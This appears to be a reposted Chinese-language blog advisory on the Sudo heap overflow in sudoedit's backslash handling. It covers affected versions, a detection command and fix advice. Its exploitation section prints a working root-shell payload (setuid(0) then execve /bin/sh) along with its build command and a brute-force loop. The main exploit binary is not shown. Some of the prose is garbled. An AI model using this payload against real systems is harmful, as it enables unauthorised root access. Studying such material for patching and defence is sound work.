漏洞背景
1月26日,Sudo發布了一份安全通知,修復了類似Unix的作業系統在命令引數中避免反斜杠時基于堆的緩沖區溢位漏洞,漏洞等級:高危,漏洞評分:7.0,當sudo在shell模式下通過-s或-i命令列選項運行命令時,它使用反斜杠來轉義命令引數中的特殊字符,但是,當使用-s或-i標志運行sudodit時,實際上不會轉義,這可能導致緩沖區溢位,只要sudoers檔案(通常是/etc/sudoers)存在,攻擊者就可以使用sudo來使用本地普通用戶獲得系統根權限,
漏洞影響版本
受影響版本
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影響版本
sudo =>1.9.5p2
漏洞檢測
用戶可以使用非root的賬戶登錄系統,運行“ sudoedit -s / ”命令,
若回傳如圖以“ sudoedit:”開頭的錯誤,則當前系統可能存在安全風險,
不受影響的系統將顯示以“ usage:”開頭的錯誤回應,
漏洞利用
環境
#la.c
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;");
}
執行:
gcc -fpic -shared -nostdlib -o X.so.2 la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done
漏洞修復
1、下載升級sudo軟體包
2、對于無法立即更新的用戶,建議使用systemtap
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/254036.html
標籤:其他
